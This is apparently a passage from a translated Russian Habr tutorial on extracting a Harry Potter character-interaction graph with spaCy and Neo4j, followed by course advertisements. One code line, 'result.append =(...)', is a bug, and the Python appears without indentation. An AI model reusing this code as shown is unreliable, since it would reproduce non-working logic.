Сначала как искомый шаблон добавляем полное имя, затем разбиваем имя пробелом и создаём шаблон из каждого слова. Пример: определяя шаблоны для Альбуса Дамблдора, получим три различных шаблона, которые могут представлять данного персонажа:
* полное имя: Альбус Дамблдор;
* имя: Альбус;
* фамилия: Дамблдор.
Есть и кое-какие исключения: я определил список стоп-слов, которых не должно быть в шаблоне персонажа. Например, в книге присутствует персонаж Смотритель зоопарка [Keeper of the Zoo]. Интуитивно понятно, что не следует определять "of" или "the" как шаблоны сопоставления сущности.
Хочется, чтобы все отдельные слова были чувствительны к регистру. Это делается, чтобы все слова black не распознавались как ссылка на Сириуса Блэка.
Будем считать, что речь идёт о Сириусе Блэке, только если Black написано заглавными. Решение не идеально: Black может быть написано заглавными из-за того, что слово находится в начале предложения, но такого решения достаточно.
Особый случай — Рональд Уизли, который в тексте в основном Рон. Не отделяются друг от друга сущности "секретарь Вернона Дурсли" и "филин Драко Малфоя".
При таком подходе возникает две проблемы. Первая — в тексте "Альбус Дамблдор — хороший волшебник" найдётся три совпадения, поскольку в шаблоне есть как полное имя, так и его части. Решение: мы будем отдавать приоритет сущностям длиннее. Если в одном и том же месте есть совпадение из нескольких слов, а также другое совпадение из одного слова, то приоритет отдадим совпадению с несколькими словами.
```
# Find matches
doc = nlp(text)
matches = matcher(doc)
result = []
for match_id, start, end in matches:
string_id = nlp.vocab.strings[match_id] # Get string representation
span = doc[start:end] # The matched span
# Get predicates for correct result appendment
exists_longer = [(start == e['start'] and end < e['end']) or (start > e['start'] and end == e['end']) for e in result]
same = [start == e['start'] and end == e['end'] for e in result]
shorter_end = [start == e['start'] and end > e['end'] for e in result]
shorter_start = [start < e['start'] and end == e['end'] for e in result]
# Append to results
if any(exists_longer): # If there is a longer version of the given entity already in results
continue
if any(shorter_end): # If there is any entity with the same start span but has shorter end
del result[shorter_end.index(True)]
result.append({'string_id': [string_id], 'start': start, 'end': end, 'text': span.text})
elif any(shorter_start): # If there is any entity with the same end span but has shorter start
del result[shorter_start.index(True)]
result.append =({'string_id': [string_id], 'start': start, 'end': end, 'text': span.text})
elif not any(same): # If not exists yet
result.append({'string_id': [string_id], 'start': start, 'end': end, 'text': span.text})
else: # Add more entities to a single span
i = same.index(True)
result[i]['string_id'].append(string_id)
```
*Результаты работы шаблона сопоставления с приоритезацией.*
Моя реализация приоритизации сущностей с более длинными словами очень проста. Во-первых, она проверяет, существует ли среди нескольких сущностей сущность длиннее остальных.
Затем проверяется, не длиннее ли все существующие сущности в той же позиции, чем текущий результат. Наконец, если ещё нет существующих сущностей, добавляется новый результат. Интересна последняя инструкция "else", ведь иногда одной сущности соответствует несколько персонажей: "Уизли, иди сюда!". В книге есть несколько Уизли. Проблема возникает, когда на человека ссылаются по его фамилии, а персонажей с такой фамилией много. Чтобы разграничить такие сущности, мы должны придумать общее решение:
```
hardcoded_options = dict()
hardcoded_options['Malfoy'] = ['Draco Malfoy']
hardcoded_options['Patil'] = ['Padma Patil', 'Parvati Patil']
hardcoded_options['Tom'] = ['Tom']
def handle_multiple_options(result, doc):
needs_deduplication = [(i,x) for i,x in enumerate(result) if len(x['string_id']) > 1]
for index, multiple_options in needs_deduplication:
# Special logic for Dursleys, if there if Mr. then Vernon, if Mrs. then Petunia
prefix = doc[multiple_options['start']-3 : multiple_options['start']]
if (multiple_options['text'] == 'Dursley') and ("Mr." in prefix.text):
resolution = ["Vernon Dursley"]
elif (multiple_options['text'] == 'Dursley') and ("Mrs." in prefix.text):
resolution = ["Petunia Dursley"]
# Find nearest entity
else:
end_char = multiple_options['end']
distance = sys.maxsize
resolution = []
for possible_option in result:
# Skip multiple options and entities that don't have any of the multiple option
if (not len(possible_option['string_id']) == 1) or (not possible_option['string_id'][0] in multiple_options['string_id']):
continue
new_distance = abs(multiple_options['end'] - possible_option['end'])
if new_distance < distance:
distance = new_distance
resolution = possible_option['string_id']
if not resolution:
try:
ho = hardcoded_options[multiple_options['text']]
if len(ho) == 1:
resolution = ho
else:
resolution = [random.choice(ho)]
except:
print(f"no way to disambiguate {multiple_options['text']} from options: {multiple_options['string_id']}")
result[index]['string_id'] = resolution
return result
```
Эта функция длиннее. Мы начинаем с определения требующих разделения сущностей. Я написал логику, которая устраняет неоднозначность с мистером и миссис Дурсли. Если перед термином "Дурсли" присутствует "мистер", то это ссылка на Вернона, а если "миссис" — на Петунию. И вот обобщённое решение: алгоритм присваивает ссылку ближайшему соседу.
Теперь предположим, что невозможно выбрать между Гарри Поттером, Джеймсом Поттером и Лили Поттер. Тогда алгоритм определяет ближайшую в тексте сущность из трёх и присваивает текущему элементу её значение. Есть исключения, когда полное или обычное имя не упоминается в пределах одной главы, так что как последнее средство я жёстко закодировал варианты.
### Выявление отношений между персонажами
Самое трудное позади. Сделать вывод об отношениях персонажей очень просто. Сначала нужно определить порог расстояния взаимодействия (или связи) между двумя персонажами. Как уже упоминалось, мы будем использовать тот же порог расстояния, что и при извлечении графа "Игры престолов".
Если два характера встречаются на расстоянии 14 слов, предполагается, что они должны были взаимодействовать. Чтобы не искажать результаты, я объединил сущности. О чём я говорю? Есть два предложения:
> "У Гарри был хороший день. После обеда он пошёл поговорить с Дамблдором".
>
>
Здесь будет определено три сущности: "Гарри", "Он" как ссылка на Гарри и "Дамблдор". Решая задачу в лоб, мы могли бы сделать вывод о двух взаимодействиях между Гарри и Дамблдором, поскольку два упоминания "Гарри" близки к упоминанию "Дамблдора". Такого хочется избежать, поэтому я объединил сущности в последовательности, где на одного персонажа ссылаются как на одну сущность. Посчитаем взаимодействия пар персонажей:
```
def get_distances(result, distance_threshold):
#sort by start character
result = sorted(result, key=lambda k: k['start'])
compact_entities = []
# Merge entities
for entity in result:
# If the same entity occurs, prolong the end
if (len(compact_entities) > 0) and (compact_entities[-1]['string_id'] == entity['string_id']):
compact_entities[-1]['end'] = entity['end']
else:
compact_entities.append(entity)
distances = list()
# Iterate over all entities
for index, source in enumerate(compact_entities[:-1]):
# Compare with entities that come after the given one
for target in compact_entities[index + 1:]:
if (source['string_id'] != target['string_id']) and (abs(source['end'] - target['start']) < distance_threshold):
link = sorted([source['string_id'][0], target['string_id'][0]])
distances.append(link)
else:
break
# Count the number of interactions
return Counter(map(tuple, distances))
```
### Сохранение результатов в графовой базе данных Neo4j
Мы извлекли граф взаимодействий между персонажами, и осталось только сохранить результаты в графовой базе данных. Запрос на импорт очень прост, поскольку мы имеем дело с сетью моночастиц. Если вы используете подготовленный мной блокнот [Colab](https://github.com/tomasonjo/blogs/blob/master/harry_potter/HarryPotterNLP.ipynb), для хранения результатов проще всего создать бесплатные [Neo4j Sandbox](https://neo4j.com/sandbox/) или инстанс базы данных [Aura](https://neo4j.com/cloud/aura/):
```
def store_to_neo4j(distances):
data = [{'source': el[0], 'target': el[1], 'weight': distances[el]} for el in distances]
with driver.session() as session:
session.run("""
UNWIND $data as row
MERGE (c:Character{name:row.source})
MERGE (t:Character{name:row.target})
MERGE (c)-[i:INTERACTS]-(t)
SET i.weight = coalesce(i.weight,0) + row.weight
""", {'data': data})
```
Визуализируем результаты, чтобы изучить их:
Визуализированный NEuler граф взаимодействияНа первый взгляд, результаты выглядят классно. В центре сети — Гарри Поттер, книга в основном написана о Гарри. Видно, что мне следовало бы добавить несколько стоп-слов в шаблон матчера. Век живи — век учись.
* [Код](https://github.com/tomasonjo/blogs/blob/master/harry_potter/HarryPotterNLP.ipynb) проекта.
* [Песочница](https://neo4j.com/developer/graph-data-science/neuler-no-code-graph-algorithms/) алгоритмов на графах.
В любой области IT учиться нужно каждый день, а наши курсы готовят к профессиям в сфере информационных технологий не только через правильный баланс теории и практики. Мы прививаем мышление, которое приведёт вас к нужному результату, поэтому, если вам интересно работать с естественным языком и другими данными, приходите на наши курсы по [Data Science](https://skillfactory.ru/dstpro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_140821&utm_term=conc), по [аналитике данных](https://skillfactory.ru/dataanalystpro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_140821&utm_term=conc) или на курс по [глубокому и машинному обучению](https://skillfactory.ru/ml-and-dl?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_140821&utm_term=conc), где вы научитесь извлекать из данных пользу и решать проблемы бизнеса. Также вы можете [узнать](https://skillfactory.ru/courses/?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_140821&utm_term=conc), как начать карьеру или прокачаться в других направлениях:
**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_140821&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_140821&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_140821&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_140821&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_140821&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_140821&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_140821&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_140821&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_140821&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_140821&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_140821&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/iosdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_iosdev_140821&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_140821&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_140821&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_140821&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/csharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_140821&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_140821&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algo?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_140821&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_140821&utm_term=cat)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_140821&utm_term=cat)
**А также:**
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_140821&utm_term=cat) | https://habr.com/ru/post/570582/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.